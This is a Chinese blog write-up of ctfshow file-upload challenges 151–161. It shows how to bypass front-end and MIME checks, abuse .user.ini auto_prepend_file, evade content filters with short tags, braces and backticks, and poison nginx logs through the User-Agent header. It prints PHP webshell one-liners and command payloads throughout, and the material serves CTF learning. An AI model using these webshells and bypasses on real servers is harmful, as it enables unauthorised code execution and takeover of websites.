首页 > 其他分享 >《渗透测试》WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性 2022 Day31

《渗透测试》WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性 2022 Day31

时间:2023-05-05 17:25:24浏览次数:57  
标签:WEB 文件 js mime user php 上传 png ini

 

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

 

前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

 

ctfshow例题

一:151 前台校验不可靠    Content-Type: image/png

1.1 查看网页源代码发现通过修改exts的值可以修改文件上传的类型

 

 1.2 通过修改前台的exts的值为php上传一句话木马

 

1.3 上传成功:

 1.4 蚁剑连接后门

 

152 后台检验不可靠

2.1 查看网页源代码 

 

 2.2 和151前端验证同理,先修改exts的值为php

 

2.3 直接上传失败,说文件类型不合规,因为前端的绕过了,所以后端有验证

 

2.4 放包到bp,查看conten-type

这是php文件的

 这是png文件的

 

 2.5 修改上传php文件的数据包的content-type为png的

 

 2.6 上传成功,通过蚁剑进行连接

 

 

153-JS验证+user.ini

3.1 查看网页源代码,发现同样在前端进行了限制。

 3.1.2 修改为php

 

 

 

3.2 抓包修改content-type为png类型

 

3.2.1 发现上传失败

 

3.3 尝试再去修改content-Disposition的filename属性值为png

 

3.4 上传成功

 

3.4.1 php解析不成功

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

 

 3.5 尝试大小写进行绕过

 3.5.1 上传成功

 3.5.2 解析失败

 

3.6 多文件后缀解析绕过

 

3.6.1 上传成功

 3.6.2 解析失败

 

 

3.6.3 尝试.user.ini绕过

1 php.ini介绍

https://m.php.cn/article/504214.html

PHP配置文件(php.ini)通常在安装PHP时自动生成,用于配置PHP的各种参数和选项。该文件包含了PHP运行时的所有参数和选项,可以控制PHP的行为和性能特征。

 

2 user.ini介绍

.user.ini是php防跨站目录访问的文件配置,里面放的是你网站的文件夹路径地址。

目的是防止跨目录访问和文件跨目录读取。

配置文件都是放在根目录 .user.ini

https://www.cnblogs.com/NineOne/p/14033391.html

3  作用

除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。

也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置

 4 漏洞原理

其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg

或者

auto_append_file=test.jpg

然后将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可,也可蚁剑连接

 

5 利用过程

5.1 修改前端后缀

 

 5.2 上传.user.ini文件

 

5.2.1 上传成功

 

5.3 上传php文件,文件后缀改png

 

5.3.1 文件上传成功

 

5.4 蚁剑访问 upload目录(首先问upload目录就是访问upload/index.php,然后index.php包含了.user.ini文件,最后.user.ini包含了1.png后门) 重点:这里png图片木马能够被解析是因为.user.ini包含了这个png文件,并且.user.ini这个文件是以php执行的,所以包含的png图片也会以php的语言去解析

 

 

 154-JS验证+user.ini+短标签

.user.ini:auto_prepend_file=test.png

1.按照上一关的思路进行尝试绕过

1.1 前端绕过

 

1.2 修改conten-tpye为png格式 ,上传.user.ini文件

 

 

1.3 上传png

 

1.3.1 上传失败

 

1.4 猜测可能是对内容进行的检测,尝试测试

1.4.1 删除eval函数一样失败

 

1.4.2 删除php发现上传成功

猜测是对php进行了内容检测

 1.4.3 进一步测试上传php,成功

 1.4.4 猜测是<?php过滤 上传失败

应该就是过滤了 <?php 这个组合

 

1.5 绕过php的几种思路

(1) <? echo '123';?> //前提是开启配置参数short_open_tags=on

(2) <?=(表达式)?> //不需要开启参数设置

(3)<% echo '123';%> //前提是开启配置参数asp_tags=on

(4)<script language=”php”>echo '1'; </script> //不需要修改参数开关

因为2.4不需要开启配置参数,因此大多时候2,4

 

1.6.1 <?=eval($_POST[x]);?> 上传成功

 

 

 1.6.2 漏洞利用 蚁剑连接 注意是url+/upload 因为.user.ini文件上传在upload目录下

 

 

155 和154一样

1.按照上一关的操作进行尝试

1.1 前端绕过

 

 1.2 上传.user.ini文件

 

1.3 上传一句话

 

1.4 漏洞利用

 

156 JS验证+user.ini+短标签+过滤

1.先上传一句话木马,查看是那些地方进行了过滤

发现删除了[]后删除成功,猜测是对 ‘[' ;]'进行了过滤

 2.尝试绕过

PHP中使用 [ ] 进行传输数据,也可以使用花括号 { } 传输数据

上传成功

 

3 按照之前的思路来,上传.user.ini

 

上传图片

 

漏洞利用

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST{x});?>

157 JS+user.ini+过滤 ; [] {}

测试发现,过滤了;和{}、[]、{}

这里用新的绕过方式,来绕过 ;和[] {}

通过直接调用命令

<?=sysytem('tac ../fl*')?>来进行绕过

 

 

上传成功后,通过.user.ini文件去包含

 

上传调用命令

 

访问upload目录,上传成功

payload:

<?=system('tac ../fl*')?>

 

158 与157一样

 

 

 

 

159 JS验证+user.ini+短标签+过滤

测试发现,过滤了括号,之前的都不能用了

这里用新的绕过方式

反引号进行绕过

知识点:PHP会尝试将执行运算符(反引号)“``”中的内容作为shell命令来执行,并将其输出信息返回。

使用执行运算符与调用函数shell_exec()的效果相同。在激活了安全模式或者关闭了shell_exec()时是无效的。执行运算符不能在双引号字符串中使用。

使用反引号运算符的效果与函数 shell_exec()相同

payload:

.user.ini:auto_prepend_file=test.png

 

test.png:<? echo `tac /var/www/html/f*`?>

 

 

访问upload目录

 

160 JS验证+user.ini+短标签+过滤

测试发现,使用的是白名单,之前的都用不了,要用新的绕过方式

绕过方式:包含默认日志,日志记录UA头,UA头写后门代码

因为服务器使用的是nginx中间件,日志文件默认在/var/og/nginx/access.log

先通过.user.ini文件包含默认的日志文件路径,然后在日志文件中的UA头写后门代码,进行上传

.user.ini:auto_prepend_file=test.png

test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

 

1. 上传包含日志文件的png文件

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

.是连接符 用 “ 绕过 

 

 2.上传.user.ini文件,包含3.png文件

 

3. 查看日志文件是否被包含,访问upload目录

 

4 修改ua头,上传一句话木马 放包发过去

 

 5 使用system函数读取flag

 

 

161 JS验证+user.ini+短标签+过滤+文件头

这一关多了个文件头部检测是否为图片格式文件

gif文件 文件头为:GIF89A 其他的和160关一样

1.上传包含日志的png文件

test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>

 

 2 上传.user.ini

.user.ini:GIF89A auto_prepend_file=test.png

 

 3 访问upload目录

 4 刷新页面重新抓个包构造UA头一句话木马

 

5 使用sysytem函数读取flag

 

 

 

 

 

 

 

 

 

标签:WEB,文件,js,mime,user,php,上传,png,ini
From: https://www.cnblogs.com/muqing1/p/17307959.html

相关文章

  • Webpack 面试题
    一、Webpack如何解决跨域问题?(三种方式)来源1.使用代理:服务端是别人的,使用这个方式devServer:{proxy:{//重写的方式,把请求代理到express服务器上'/api':{target:'http://localhost:3000',pathRewrite:{'/api':''}//若请求路径为/......
  • js基础---数组的方法
    sort():破坏性方法forEach():遍历数组,需要一个回调函数作为参数,遍历的次数与数组的长度有关。filter():将数组中符合要求的元素保存在新数组中返回需要一个回调函数作为参数,并根据函数返回值过滤数组非破坏型方法map():根据当前数组返回新数组需要回调函数做为参数回调函数的返......
  • CesiumWidget.js的作用
    顾名思义,CesiumWidget就是cesium小部件的意思。但是,cesium包含哪些小部件?这些小部件又有哪些意义?这些小部件是不可或缺的吗?看《Cesium原理篇:1最长的一帧之渲染调度》讲,好像cesium的启动就是由widget来触发的?CesiumWidget.jsstartRenderLoop函数需要传入一个widget参数。这个w......
  • ExtJs学习之Button(08)
    最少代码:HelloWorld.html源文件下载点击事件<linkrel="stylesheet"href="theme-gray-all.css"><!--样式--><scriptsrc="ext-all.js"></script><!--行为--><script>Ext.onReady(function(){/*-自己写的代码--开始--......
  • Vue3项目(Vite+TS)使用Web Serial Api全记录
    前言之前写了一个vue+django的一个通过串口控制的上位机系统。但是实际生产中,不如部署到服务器上,这样可以更好的节约成本。但是这样就需要弄一个客户端来控制处理串口信息。那我就在想能不能通过网页直接拿到客户端的串口信息。所以问了万能的chatgpt,得到了以下答案:是的,前端可以......
  • node:internal/modules/cjs/loader:1078 throw err; ^ Error: Cannot find module
    终端运行.js文件,之后又报错了,node:internal/modules/cjs/loader:1078throwerr;^......
  • C# WebUploader文件分片上传、断点续传
    1、添加引用<!--引入CSS--><linkrel="stylesheet"type="text/css"href="~/Scripts/webuploader-0.1.5/webuploader.css"><!--引入JS--><scripttype="text/javascript"src="~/Scripts/webuploader-0.1.5/w......
  • npm ERR! code EPERM npm ERR! syscall mkdir npm ERR! path C:\Program Files\node
    npm项目初始化代码npminit--yesidea代码安装npmnpmiexperss我输入的时候报错了,如下图所示没关系,只需要手动打开C盘的路径文件找到这个文件,并且把他Ctrl+D删除掉即可之后在运行这串代码就可以啦明显成功了......
  • 《CTFshow-Web入门》08. Web 71~80
    目录web71知识点题解web72知识点题解web73题解web74题解web75知识点题解web76题解web77知识点题解web78知识点题解web79题解web80知识点题解ctf-web入门web71知识点ob_get_contents():得到输出缓冲区的内容。ob_end_clean():清除缓冲区的内容,并将缓冲区关闭,但不会输出内......
  • h5 js RSA加密解密和AES加密解密
    一.RSA加密需要的js,点击下面链接可复制jsencrypt.js二.AES加密需要的js,点击下面链接可复制crypto-js.js三.加密方式1.单独使用RSA加密;(不推荐,加密后数据太大了)2.单独使用AES加密;(不推荐,安全性不好)3.RSA加密和AES加密混合使用;使用AES加密需要传的参数,使用RSA加密......